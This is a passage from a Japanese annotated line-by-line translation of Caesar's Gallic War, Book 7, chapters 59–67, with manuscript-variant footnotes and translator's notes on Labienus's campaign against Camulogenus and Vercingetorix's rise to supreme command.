**他方からは、カムロゲヌスが軍隊を準備し、整列させて、進んでいた。
*tum legiones a praesidio atque impedimentis interclusas 
**そのとき、（ラビエーヌス麾下の）諸軍団は（アゲディンクムにいる）守備隊や輜重から遮られて、
*maximum flumen distinebat. 
**とても大きな（セクアナ）川が阻んでいた。
*⑥　Tantis subito difficultatibus obiectis 
**突然に、これほどの困難が投げ出されたので、
*ab animi virtute auxilium petendum videbat.
**武勇の心構えに救いを求めるべきだと（ラビエーヌスは）思った。

===60節===
'''ラビエーヌスが陽動戦術に努める'''
*①　Itaque&lt;ref&gt;Itaque はS･β系写本の記述で、α系写本にはない。&lt;/ref&gt; sub vesperum consilio convocato 
**こうして（[[w:ティトゥス・ラビエヌス|ラビエーヌス]]は）夕方に会議を召集して、
*cohortatus, ut ea, quae imperasset, diligenter industrieque administrarent, 
**（彼が）命令したことを入念かつ勤勉に従事するように鼓舞した。
*naves, quas [[w:la:Melodunum|Metlosedo]]&lt;ref&gt;Metlosedo はコンスタン L.-A. Constans による修正で、χ系･S･β系写本では Metiosedo 、B･M写本では  ameclodone 、L･N写本では a mellodone 、&lt;i&gt;etc&lt;/i&gt;. となっている。&lt;/ref&gt; deduxerat, singulas equitibus Romanis attribuit, 
**[[w:ムラン|メトロセドゥム]]から引いて来ていた船団を、ローマ人騎士たち1人ずつに配分して、
*et prima confecta vigilia IIII(quattuor) milia passuum secundo flumine silentio progredi 
**第一夜警時が終わる頃に、4ローママイル（6km弱）下流に静けさのうちに進発すること、
*ibique se exspectari&lt;ref&gt;exspectari はα系･T･ρ系写本の記述で、S･V写本では exspectare などとなっている。&lt;/ref&gt; iubet. 
**かつ、そこで自分（ラビエーヌス）を待つことを命じた。
*②　Quinque cohortes, quas minime firmas ad dimicandum esse existimabat, 
**（白兵戦を）闘うためにはあまり強くないと（ラビエーヌスが）考えていた5個&lt;ruby&gt;&lt;rb&gt;[[w:コホルス|歩兵大隊]]&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;コホルス&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt; 
*castris praesidio relinquit; 
**陣営にとっての守備隊として残留させた。
*quinque eiusdem legionis reliquas 
**同じ軍団の残りの5個（歩兵大隊）を
*de media nocte cum omnibus impedimentis adverso flumine magno tumultu proficisci imperat. 
**真夜中から、すべての[[w:輜重|輜重]]とともに、上流の方に大きな喧騒でもって出発することを命令した。
*④　Conquirit etiam lintres; 
**小舟さえも探し集めて、
*has magno sonitu remorum incitatas in eandem partem mittit. 
**これらを大きな音とともに[[w:櫂|櫂]]を駆って、同じ方面に派遣した。
*Ipse post paulo silentio egressus cum tribus legionibus 
**（ラビエーヌス）自身は、少し後で静けさのうちに3個[[w:ローマ軍団|軍団]]とともに進発して、
*eum locum petit, quo naves appelli iusserat.
**船団が停められることを命じていた地点へ行った。

===61節===
'''ラビエーヌスの陽動により、敵将カムロゲヌスが兵力を分散'''
*①　Eo cum esset ventum, 
**（ラビエーヌスの軍勢が）そこにやって来たときに、
*exploratores hostium, ut omni fluminis parte erant dispositi, 
**敵方の偵察者たちが（セクアナ）川の至る所に分けて置かれていたが、
*inopinantes, quod magna subito erat coorta tempestas, 
**突然に大きな嵐が生じたので（ローマ勢の襲撃を）予期していなかった者たちは、
*ab&lt;ref&gt;ab はχ系･B･M･L･N写本の記述で、S･β系写本では a となっている。&lt;/ref&gt; nostris opprimuntur; 
**我が方（ローマ勢）によって不意を襲われたのだ。
*②　exercitus equitatusque equitibus Romanis administrantibus, quos ei negotio praefecerat, 
**歩兵隊と騎兵隊が、（ラビエーヌスが）任務を指揮させていたローマ人騎士たちの指導により、
*celeriter transmittitur. 
**速やかに（セクアナ川を）渡らせられた。
*③　Uno fere tempore sub lucem hostibus nuntiatur 
**夜明け前のほぼ一時に（以下のことが）敵方に報知された。
*in castris Romanorum praeter consuetudinem tumultuari 
**ローマ人の陣営において、通例に反して、騒がれていること、
*et magnum ire agmen adverso flumine 
**大きな隊列が上流の方へ行軍していること、
*sonitumque remorum in eadem parte exaudiri 
**（船を漕ぐ）櫂の音が同じ方面で聞き取られたこと、
*et paulo infra milites navibus transportari. 
**少し下流で兵士たちが船で（セクアナ川を）渡されたこと、である。
*④　Quibus rebus auditis, 
**それらの事態が聞かれて、
*quod existimabant tribus locis transire legiones atque omnes perturbatos defectione [[w:la:Haedui|Haeduorum]] fugam parare, 
**（ローマ勢の）諸軍団が3か所で渡河したこと、[[w:ハエドゥイ族|ハエドゥイー族]]の背反により総勢が取り乱して逃亡を準備していること、を考えたので、
*suas quoque copias in tres partes distribuerunt. 
**自分たちの軍勢をも3方面に分配した。
*⑤　Nam praesidio e regione castrorum relicto 
**すなわち（一隊がローマ勢の）陣営の真向かいに守備隊として残され、
*et parva manu Metlosedum&lt;ref&gt;Metlosedum はQ写本の記述で、χ系･β系写本では Metiosedum 、などとなっている。&lt;/ref&gt; versus missa, 
**（別の）わずかな手勢が[[w:ムラン|メトロセドゥム]]の方面へ派遣され、
*quae tantum progrediatur&lt;ref&gt;progrediatur はα系写本の記述で、Q･S･β系写本では progrederetur となっている。&lt;/ref&gt;, quantum naves processissent, 
**（ローマ勢の）船団が進み出るだけ、（ガッリア兵も）前進するようにした。
*reliquas copias contra Labienum duxerunt.
**残りを軍勢をラビエーヌスに対して（カムロゲヌス自身が）率いて行った。

===62節===
'''ラビエーヌスがカムロゲヌス麾下のガッリア勢を各個撃破して、カエサルと合流'''
*①　Prima luce et nostri omnes erant transportati 
**夜明けに、我が方（ローマ勢）は総勢が（セクアナ川の左岸に）渡されていたし、
*et hostium acies cernebatur. 
**敵方の戦列も見分けられた。
*②　[[w:la:Titus Labienus|Labienus]] milites cohortatus, 
**[[w:ティトゥス・ラビエヌス|ラビエーヌス]]は兵士たちを（以下のように）鼓舞した。
*ut suae pristinae virtutis et tot&lt;ref&gt;tot はS･β系写本の記述で、α系写本にはない。&lt;/ref&gt; secundissimorum proeliorum retinerent memoriam&lt;ref&gt;retinerent memoriam はχ系･B･M･L･N写本の記述で、S･β系写本では memoriam retinerent となっている。&lt;/ref&gt; 
**自分たちのかつての武勇とこのようにとてもうまくいっている諸戦闘を記憶に留めるように、
*atque ipsum Caesarem, cuius ductu saepe numero hostes superassent, praesentem adesse existimarent, 
**かつ、その指揮によって何度もしばしば敵方を打ち破って来たカエサル当人が目下居合わせていると考えるように、と。
*dat signum proelii. 
**（それから）戦闘の号令を発した。
*③　Primo concursu ab dextro cornu, ubi septima legio constiterat, 
**最初の激突は、[[w:第7軍団クラウディア・ピア・フィデリス|第7軍団]]が布陣していた（ローマ軍の）右翼からで、
*hostes pelluntur atque in fugam coniciuntur; 
**敵方は撃退されて、逃亡に追いやられた。
*④　ab sinistro, quem locum duodecima legio tenebat, 
**第12軍団が場所を占めていた左翼からは、
*cum primi ordines hostium transfixi pilis&lt;ref&gt;pilis はβ系写本の記述で、α系写本では telis となっている。&lt;/ref&gt; concidissent, 
**敵方の最前列（の兵たち）が投げ槍で突き通されて斃れたのだが、
*tamen acerrime reliqui resistebant 
**けれども残りの者たちがとても激烈に抵抗していて、
*nec dabat suspicionem fugae quisquam. 
**誰も逃亡の予兆を示さなかった。
*⑤　Ipse dux hostium Camulogenus suis aderat atque eos cohortabatur. 
**敵方の将帥カムロゲヌス自身は、麾下の者たちに居合わせて、彼らを激励していた。
*⑥　At&lt;ref&gt;cohortabatur. At はχ系写本などの記述で、別の写本では記述が異なる。&lt;/ref&gt; incerto nunc etiam&lt;ref&gt;nunc etiam はB･M･L･N写本の記述で、χ系･S･β系写本では etiamnunc となっている。&lt;/ref&gt; exitu victoriae, 
**勝敗の帰趨は今もなお不確実だったが、
*cum septimae legionis tribunis esset nuntiatum, quae in sinistro cornu gererentur, 
**第7軍団の&lt;ruby&gt;&lt;rb&gt;[[w:トリブヌス・ミリトゥム|兵士長官]]&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;トリブヌス・ミリトゥム&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;たちに、左翼で&lt;ruby&gt;&lt;rb&gt;出来&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;しゅったい&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;したことが報告されたときに、
*post tergum hostium legionem ostenderunt signaque intulerunt. 
**敵方の背後に（第7）軍団を差し向けて、軍旗を進めた（＝進撃した）。
*⑦　Ne eo quidem tempore quisquam loco cessit, 
**その時でさえ、（ガッリア勢の）誰も（戦闘の）場から退却しなかった
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：[[wikt:en:ne quidem|ne ～ quidem]]「～でさえ…ない」）&lt;/span&gt;
*sed circumventi omnes interfectique sunt. 
**けれども、総勢が包囲されて（ローマ軍により）殺戮された。
*Eandem fortunam tulit Camulogenus. 
**同じ不幸をカムロゲヌスも蒙った。
*⑧　At ii&lt;ref&gt;ii はχ系写本の記述で、他の写本では記述が異なる。&lt;/ref&gt;, qui praesidio contra castra Labieni erant relicti, 
**これに対して、ラビエーヌスの陣営に対して守備隊として残されていた（ガッリア勢の）者たちは、
*cum proelium commissum audissent, subsidio suis ierunt collemque ceperunt, 
**（両軍が）戦闘を交えているのを聞き付けたので、味方の援兵として出て行って、丘陵を占めていたが、
*neque nostrorum militum victorum impetum sustinere potuerunt. 
**勝勢の我が方（ローマ軍）の兵士たちの突撃を持ちこたえることができなかった。
*⑨　Sic cum suis fugientibus permixti, 
**このようにして、敗走している味方と混じり合ったときに、
*quos non silvae montesque texerunt, ab equitatu sunt interfecti. 
**森林や山岳が覆い隠すことのなかったその者たちは、（ローマ側の）騎兵隊によって殺戮された。
*⑩　Hoc negotio confecto Labienus revertitur Agedincum, 
**この戦役が成し遂げられると、ラビエーヌスは[[w:サンス|アゲディンクム]]に引き返した。
*ubi impedimenta totius exercitus relicta erant; 
**そこには軍隊全体の[[w:輜重|輜重]]が残されていたのだ。
*inde die Ⅲ.&lt;ref&gt;inde die Ⅲ. は近代の校訂者による修正提案で、Q･M･S･N･β系写本では単に inde 、他の写本では別の記述になっている。&lt;/ref&gt; cum omnibus copiis ad Caesarem pervenit.
**そこから3日目（＝2日後）にすべての軍勢とともにカエサルのところへ到着した。

==ガッリア戦乱の拡大==
===63節===
'''ハエドゥイー族がウェルキンゲトリークスに主導権争いを挑む'''
*①　Defectione [[w:la:Haedui|Haeduorum]] cognita bellum augetur. 
**[[w:ハエドゥイ族|ハエドゥイー族]]の背反が知られて、戦乱は拡大された。
*②　Legationes in omnes partes circummittuntur; 
**（ハエドゥイー族らにより）使節たちがあらゆる方面に遣わされまくり、
*quantum gratia, auctoritate, pecunia valent, ad sollicitandas civitates nituntur; 
**信望、勢力や金銭によってできる限り、諸部族をそそのかすことに努めた。
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：quantum ～ valere「～によってできる限り」）&lt;/span&gt;
*③　nacti obsides, quos Caesar apud eos deposuerat,  
**カエサルが彼ら（ハエドゥイー族）のもとに預けて置いた人質たちを手に入れて、
*horum supplicio dubitantes territant.
**彼ら（人質たち）の処刑（を示唆すること）によって、決心がつかぬ者たちを恐れさせた。
*④　Petunt a [[w:la:Vercingetorix|Vercingetorige]] Haedui, ut ad se veniat rationesque belli gerendi communicet; 
**ハエドゥイー族は、[[w:ウェルキンゲトリクス|ウェルキンゲトリークス]]に、自分たちのところへ来て戦争遂行の戦略を協議するように要求した。
*re impetrata contendunt, ut ipsis summa imperii tradatur. 
**その事が成し遂げられると、（ハエドゥイー族）自身に最高司令権が委ねられるように頑張った。
*Et re&lt;ref&gt;et re は近代の校訂者による修正提案で、β系写本では re 、α系写本では et rem となっている。&lt;/ref&gt; in controversiam deducta totius Galliae concilium [[w:la:Bibracte|Bibracte]] indicitur. 
**その事が論争の状態に置かれて、[[w:ビブラクテ|ビブラクテ]]でのガッリア全体の会合が公示された。
*Eodem conveniunt&lt;ref&gt;Eodem conveniunt はα系写本の記述で、β系写本では単に conveniunt 、etc.となっている。&lt;/ref&gt; undique frequentes. 
**同じところに至る所からたくさんの者たちが集まって来た。
*⑥　Multitudinis suffragiis res permittitur; 
**（最高司令権の）事は衆人の票決に任せられて、
*ad unum omnes Vercingetorigem probant imperatorem. 
**衆議一決により、ウェルキンゲトリークスを将軍（最高司令官）として承認した。
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：ad unum omnes「最後の一人に至るまですべて」）&lt;/span&gt;
*⑦　Ab hoc concilio Remi, Lingones, Treveri afuerunt, 
**この会合へは、[[w:レミ族|レーミー族]]、リンゴネス族、トレウェリ族が不在であった。
*illi quod amicitiam Romanorum sequebantur, 
**前者（レーミー族とリンゴネス族）は、ローマ人との友好を遵守したので（不在であった）。
*Treveri quod aberant longius et ab&lt;ref&gt;ab はα系写本の記述で、β系写本では a となっている。&lt;/ref&gt; [[w:la:Germani|Germanis]] premebantur, 
**トレウェリ族は、はるか遠くに離れており、[[w:ゲルマニア|ゲルマニア]]人により圧迫されていた。
*quae fuit causa quare toto abessent bello 
**それが、何ゆえに（ウェルキンゲトリークスによる）戦争全体に関与しなかったかの理由であり、
*et neutris auxilia mitterent. 
**（ウェルキンゲトリークスとカエサルの）どちら側にも援軍を派遣しなかった。
*⑧　Magno dolore Haedui ferunt se deiectos principatu, 
**ハエドゥイー族は、自分たちが盟主の座から遠ざけられて、とても憤懣やるかたなかったし、
*queruntur fortunae commutationem 
**境遇の変わりようを嘆いて、
*et Caesaris indulgentiam in se&lt;ref&gt;indulgentiam in se はα系写本の記述で、β系写本では in se indulgentiam となっている。&lt;/ref&gt; requirunt 
**カエサルの自分たちへの寛大さを惜しんだ。
*neque tamen suscepto bello suum consilium ab reliquis separare audent. 
**けれども戦争を引き受けてしまったので、あえて自分たちの作戦計画をほか（の諸部族）と異にしなかった。
*⑨　Inviti summae spei adulescentes Eporedorix et Viridomarus Vercingetorigi parent.
**たいへんな野心を持つ青年たち[[w:エポレドリクス|エポレドリクス]]と[[w:ウィリドマルス|ウィリドマルス]]は、意に反してウェルキンゲトリークスに服従した。

===64節===
'''ウェルキンゲトリークスがガッリア諸部族の誘降・服従を謀る'''
*①　Ipse&lt;ref&gt;ipse はα系写本の記述で、β系写本では ille となっている。&lt;/ref&gt; imperat reliquis civitatibus obsides denique ei rei constituit diem; 
**（ウェルキンゲトリークス）自身は、ほかの諸部族に人質（の供出）を命令して、のみならずその事の期日を決めた。
*huc omnes equites, [[wikt:la:quindecim|XV(quindecim)]] milia numero, celeriter convenire iubet. 
**そこに、1万5000名の数のすべての[[w:騎兵|騎兵]]に、速やかに集結することを命じた。
*②　Peditatu quem antea habuerit se fore contentum dicit 
**（歩兵については）自分は、以前から持っていた[[w:歩兵|歩兵隊]]で満足するであろうと言った。
*neque fortunam temptaturum aut in acie&lt;ref&gt;in acie はα系写本の記述で、β系写本では単に acie となっている。&lt;/ref&gt; dimicaturum, 
**（歩兵で）武運を試すことはしないであろうし、あるいは野戦で（白兵戦を）闘うこともないであろう、と。
*sed quoniam abundet equitatu, 
**しかし、騎兵隊は豊富であるから、
*perfacile esse factu frumentationibus pabulationibusque Romanos prohibere; 
**ローマ人たちの糧食・糧秣徴発を妨げることは、とても容易である、と。
*③　aequo modo animo sua ipsi frumenta corrumpant aedificiaque incendant, 
**ただ平静な心で、自分たちの穀物を自身で傷めて、（穀物の）建屋を焼打ちするように。
*qua rei familiaris iactura perpetuum imperium libertatemque se consequi videant. 
**資産の犠牲により、永久の領有権と自由を自分たちが獲得することを思え、と。
*④　His constitutis rebus 
**これらの事が決定されると、
*[[w:la:Haedui|Haeduis]] Segusiavisque, qui sunt finitimi provinciae, decem milia peditum imperat; 
**[[w:ハエドゥイ族|ハエドゥイー族]]および（ローマ人の）属州に隣接するセグスィアウィ族には1万の歩兵（の供出）を命令していたが、
*huc addit equites [[wikt:la:octingenti|octingentos]]. 
**この中に、800騎の騎兵たち（の供出）を付け加えた。
*⑤　His praeficit fratrem Eporedorigis bellumque inferri&lt;ref&gt;inferri はα系写本の記述で、β系写本では inferre となっている。&lt;/ref&gt; Allobrogibus iubet. 
**彼らをエポレドリクスの兄弟に指揮させて、アッロブロゲス族に戦争をしかけることを命じた。
*⑥　Altera ex parte Gabalos proximosque &lt;u&gt;[[wikt:en:pagus#Latin|pagos]]&lt;/u&gt; Arvernorum in Helvios, 
**別の方面から、ガバリ族および近隣のアルウェルニー族の諸&lt;u&gt;郷&lt;/u&gt;に、ヘルウィイ族のところに（攻め入るように）、
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：''pagus'' (郷) はここでは、部族の領土の農村区画を指す行政用語&lt;ref name=&quot;pagus&quot;&gt;''[[w:en:Pagus]]'' 等を参照。&lt;/ref&gt;。）&lt;/span&gt;
*item Rutenos Cadurcosque ad fines Volcarum Arecomicorum depopulandos mittit. 
**同様に、ルテーニー族およびカドゥルキー族に、ウォルカエ・アレコミキ族の領土を荒らしまわるべく派遣した。
*⑦　Nihilo minus clandestinis nuntiis legationibusque Allobrogas&lt;ref&gt;Allobrogas はα系写本の記述で、β系写本では Allobroges となっている。&lt;/ref&gt; sollicitat, 
**それにもかかわらず、隠密に伝令たちや使節たちにより、アッロブロゲス族を（蜂起を）そそのかした。
*quorum mentes nondum ab&lt;ref&gt;ab はβ系写本の記述で、α系写本では ab となっている。&lt;/ref&gt; superiore bello resedisse sperabat. 
**彼ら（アッロブロゲス族）の心がかつての戦争からまだ静まっていないことを期待したのだ。
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：アッロブロゲス族は、BC61年にローマに反旗を翻し、翌BC60年に鎮圧されていた。[[ガリア戦記 第1巻#6節|第1巻6節]]を参照。）&lt;/span&gt;
*⑧　Horum principibus pecunias, 
**彼らの領袖たちに金銭を（約束し）、
*civitati autem imperium totius provinciae pollicetur.
**さらに部族には（カエサル統治下の）属州全体の支配権をも約束したのだ。

===65節===
'''カエサルと同盟諸部族の防戦。ゲルマニア騎兵を呼び寄せる'''
*①　Ad hos omnes casus provisa erant praesidia cohortium duarum et viginti, 
**これらすべての出来事に対して、（カエサルは）22個&lt;ruby&gt;&lt;rb&gt;[[w:コホルス|歩兵大隊]]&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;コホルス&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;からなる守備隊を用意していた。
*quae ex ipsa coacta&lt;ref&gt;coacta はχ系･β系写本の記述で、φ系写本にはない。&lt;/ref&gt; provincia ab L.(Lucio) Caesare legato 
**それらは、&lt;ruby&gt;&lt;rb&gt;[[w:レガトゥス|総督副官]]&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;レガトゥス&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;ルキウス・カエサルによって属州全体から徴集されたもので、
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：ここでいう属州とは、[[w:ガリア・ナルボネンシス|ガッリア・トラーンサルピーナ]]を指すと思われる。&lt;/span&gt;
**:&lt;span style=&quot;color:#009900;&quot;&gt;ルキウス・ユリウス・カエサル4世 [[w:en:Lucius Julius Caesar IV|Lucius Julius Caesar IV]] は本書の著者カエサルと4代前の高祖父を共有する元執政官。[[w:en:Julii Caesares|Julii Caesares]] を参照。）&lt;/span&gt;
*ad omnes partes opponebantur. 
**あらゆる方面に対して配置された。
*②　Helvii sua sponte cum finitimis proelio congressi pelluntur 
**[[w:ヘルウィイ族|ヘルウィイ族]]は、自分たちの意思により、近隣（の諸部族）と戦闘で争って撃退され、
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：この部族については[[#7節|7節]]～8節を参照。）&lt;/span&gt;
*et C.(Gaio) Valerio Domnotauro&lt;ref&gt;Domnotauro はS･L･N写本の記述で、A･B･N写本では Donnotauro 、χ系･π系写本では Donotauro となっており、ρ系写本には記述がない。&lt;/ref&gt;, Caburi filio, principe civitatis, 
**カブルスの息子で、部族の領袖であるガイウス・ウァレリウス・ドムノタウルス
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：彼は、ローマとの友好により、ローマ人風の名前を与えられていたのであろう。）&lt;/span&gt;
*compluribusque aliis interfectis intra oppida ac muros&lt;ref&gt;ac muros はα系写本の記述で、β系写本では murosque となっている。&lt;/ref&gt; compelluntur. 
**および他のかなりの者たちが殺戮されて、&lt;ruby&gt;&lt;rb&gt;[[w:オッピドゥム|城塞都市]]&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;オッピドゥム&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;と城壁の内側に追い込まれた。
*③　Allobroges crebris ad [[w:la:Rhodanus|Rhodanum]] dispositis praesidiis 
**[[w:アッロブロゲス族|アッロブロゲス族]]は、ロダヌス（＝現[[w:ローヌ川|ローヌ川]]）のところへ密に守備隊を分け置いて、
*magna cum cura et diligentia suos fines tuentur. 
**たいへんな注意と入念さにより、自分たちの領土を守った。
*④　Caesar quod hostes equitatu superiores esse intellegebat 
**カエサルは、敵方が[[w:騎兵|騎兵隊]]で（自軍より）優っていると認識していたので、
*et interclusis omnibus itineribus nulla re ex provincia atque Italia sublevari poterat, 
**かつ、すべての道が遮られて、属州やイタリアから何ら支援されることができなかったので、
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：属州 provincia とはガッリア・トラーンサルピーナ、イタリア Italia とは[[w:ガリア・キサルピナ|ガッリア・キサルピーナ]]のことであろう。）&lt;/span&gt;
*trans [[w:la:Rhenus|Rhenum]] in [[wikt:la:Germania|Germaniam]] mittit ad eas civitates, quas superioribus annis pacaverat, 
**レヌス（＝現[[w:ライン川|ライン川]]）の向こう側の[[w:ゲルマニア|ゲルマニア]]に、先年に平定していた諸部族のところへ（使節を）遣わした。
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：ゲルマニア遠征や平定については、[[ガリア戦記 第4巻#16節|第4巻16節]]～19節、[[ガリア戦記 第6巻#9節|第6巻9節]]～10節を参照。）&lt;/span&gt;
*equitesque ab his arcessit et levis armaturae pedites, 
**彼らから、騎兵たち、および[[w:ウェリテス|軽い武装の歩兵]]たちを呼び寄せた。
*qui inter eos proeliari consuerant. 
**その者ら（軽装歩兵）は、彼ら（騎兵）の間で戦闘することが常であったのだ。
*⑤　Eorum adventu, quod minus idoneis equis utebantur, 
**彼ら（ゲルマニア騎兵）が到着すると、（戦闘に）あまり適していない馬を使役していたので、
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：ゲルマニア人の馬の使用については、[[ガリア戦記 第4巻#2節|第4巻2節]]を参照。）&lt;/span&gt;
*a tribunis militum reliquisque equitibus Romanis atque evocatis equos sumit 
**&lt;ruby&gt;&lt;rb&gt;[[w:トリブヌス・ミリトゥム|兵士長官]]&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;トリブヌス・ミリトゥム&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;たちやほかのローマ人騎士たちや&lt;ruby&gt;&lt;rb&gt;再徴集兵&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;エウォカティ&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;たちから、馬匹を取り上げて、
*[[w:la:Germani|Germanis]]que distribuit.
**ゲルマニア人たちに分配した。

===66節===
'''属州へと南下するカエサル、迎え撃とうとするウェルキンゲトリークス'''
*①　Interea dum haec geruntur, 
**その間に、これらが出来している間に、
*hostium copiae ex Arvernis 
**敵方の（歩兵の）軍勢が（滞陣していたゲルゴウィアの）[[w:アルウェルニ族|アルウェルニー族]]のところから、
*equitesque qui toti Galliae erant imperati conveniunt. 
**および全ガッリアの命令されていた[[w:騎兵|騎兵]]たちが、（ウェルキンゲトリークスのところに）集結して来た。
*②　Magno horum coacto numero, 
**これらの（ガッリア兵の）多数が徴集されて、
*cum Caesar in Sequanos per extremos Lingonum fines iter faceret, 
**カエサルが、[[w:セクアニ族|セクアニ族]]のところに（向かって）[[w:リンゴネス族|リンゴネス族]]の領土の外縁を通って行軍していたときに、
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：属州へは、リンゴネス族と後述のマンドゥビイ族の間を通ってセクアニ族領を通らねばならなかった。）&lt;/span&gt;
*quo facilius subsidium provinciae ferri&lt;ref&gt;ferri はα系写本の記述で、β系写本では ferre となっている。&lt;/ref&gt; posset, 
**（それは）属州（ガッリア・トラーンサルピーナ）に援兵をより容易にもたらせるようにするためであったが、
*circiter milia passuum X(decem) ab Romanis trinis castris [[w:la:Vercingetorix|Vercingetorix]] consedit 
**[[w:ウェルキンゲトリクス|ウェルキンゲトリークス]]は、ローマ人たちから約10ローママイル（15km）のところに、3つの陣営にて陣取った。
*③　convocatisque ad concilium praefectis equitum 
**（ウェルキンゲトリークスは）騎兵の指揮官たちを会合へ召集して、
*venisse tempus victoriae demonstrat; 
**勝利の時が来たと、明言した。
*fugere in provinciam Romanos Galliaque excedere. 
**ローマ人たちは属州に逃亡して、ガッリアから立ち退きつつある、と。
*④　Id sibi ad praesentem obtinendam libertatem satis esse; 
**それは、自分たちにとって目下のところ、自由を維持するためには十分であるが、
*ad reliqui temporis pacem atque otium parum profici; 
**将来の平和と平穏は不充分にしか得られない。
*maioribus enim coactis copiis reversuros 
**なぜなら（ローマ人たちは）より大きな軍勢を徴集して（ガッリアに）戻って来るであろうし、
*neque finem bellandi facturos. 
**戦争することに結末をつけることはないであろう。
*Proinde agmine impeditos adorirentur&lt;ref&gt;adorirentur はA･β系写本の記述で、M･L･N写本では adoriantur 、S写本では adorantur 、Q･B･M写本ではadorientur となっている。&lt;/ref&gt;. 
**それゆえに、（ローマ勢の）行軍によって重荷となっている（輜重隊の）者たちを襲撃するのだ。
*⑤　Si pedites suis auxilium ferant atque in eo morentur, iter facere&lt;ref&gt;facere はα系写本の記述で、β系写本では confici となっている。&lt;/ref&gt; non posse; 
**もし（ローマ勢の）歩兵たちが味方を支援し、そのことで滞留するならば、（属州へ）行軍することはできない。
*si ─id quod magis futurum confidat─ 
**もし、─（我は）むしろそうなるであろうと期待することであるが─
*relictis impedimentis suae saluti consulant, 
**（ローマ歩兵たちが）[[w:輜重|輜重]]を残して、自分たちの身の安全に意を用いるならば、
*et usu rerum necessariarum et dignitate spoliatum iri. 
**必需品の使用や（ローマ人としての）品格をはぎ取られることになる。
*⑥　Nam de equitibus hostium, 
**なぜなら、敵方の騎兵については
**&lt;span style=&quot;color:#009900;&quot;&gt;:（訳注：著者カエサルはここでは、間接話法でありながら、ローマ勢について hostium「敵方の」と表現している。）&lt;/span&gt;
*quin nemo eorum progredi modo extra agmen audeat, 
**彼ら（ローマ騎兵）のうち誰も、&lt;ruby&gt;&lt;rb&gt;行軍縦隊&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;アグメン&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;の外にすら、あえて進み出ようとしないこと、
*et ipsos quidem non&lt;ref&gt;et ipsos quidem non はα系写本の記述で、β系写本では ne ipsos quidem となっている。&lt;/ref&gt; debere dubitare. 
**（そのことを、諸君ら）自身は決して疑念を持つことなかれ。
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：[[wikt:en:ne quidem|ne ～ quidem]]「～でさえ…ない」）&lt;/span&gt;
*Id quo maiore faciant animo, 
**それ（＝輜重隊への襲撃）を、より大胆な心構えで実行してもらうために、
*copias se omnes pro castris habiturum et terrori hostibus futurum. 
**自分（ウェルキンゲトリークス）が軍勢すべてを陣営の前に保持しておくであろうし、敵方の心胆を寒からしめるであろう。
*⑦　Conclamant equites 
**（ガッリア勢の）騎兵たちは（以下のように）叫んだ。
*sanctissimo iure iurando confirmari oportere, 
**最も神聖な誓約によって確証されなければならぬ。
*ne tecto recipiatur, ne ad liberos, ne ad parentes, ad&lt;ref&gt;ne ad …, ne ad …, ad が写本(ω)の記述であるが、モイゼル Meusel は ne ad …, ad …, ad と修正提案をしている。&lt;/ref&gt; uxorem aditum habeat, 
**（以下の者は）家に迎え入れられたり、子供たちや親たちや妻女たちのところへ近づくことがないように。
*qui non bis per agmen hostium perequitasset&lt;ref&gt;perequitasset はα系写本の記述で、β系写本では perequitarit となっている。&lt;/ref&gt;.
**敵方（ローマ勢）の隊列を越えて（往復の）2度、騎馬で駆け抜けることがなかった者は。
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：敵中突破と生還を成し遂げなかった騎兵は、復員してはならない、と誓約したのである。）&lt;/span&gt;

===67節===
'''カエサル麾下のゲルマニア騎兵がウェルキンゲトリークスを一蹴'''
*①　Probata re atque omnibus iure iurando adactis 
**これが賛同されて、（ガッリア騎兵の）皆が誓約させられて、
*postero die in tres partes distributo equitatu 
**翌日に、[[w:騎兵|騎兵隊]]を3つの分隊に分配した。
*duae se acies ab duobus lateribus ostendunt, 
**2隊は（ローマ勢の左右）2つの側面から&lt;ruby&gt;&lt;rb&gt;戦闘隊形&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;アキエス&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;として現われた。
*una a&lt;ref&gt;a はβ系写本の記述で、α系写本にはない。&lt;/ref&gt; primo agmine iter impedire coepit. 
**1隊は（ローマ勢の）前衛から行軍を妨げ始めた。
*②　Qua re nuntiata 
**その事が報告されて、
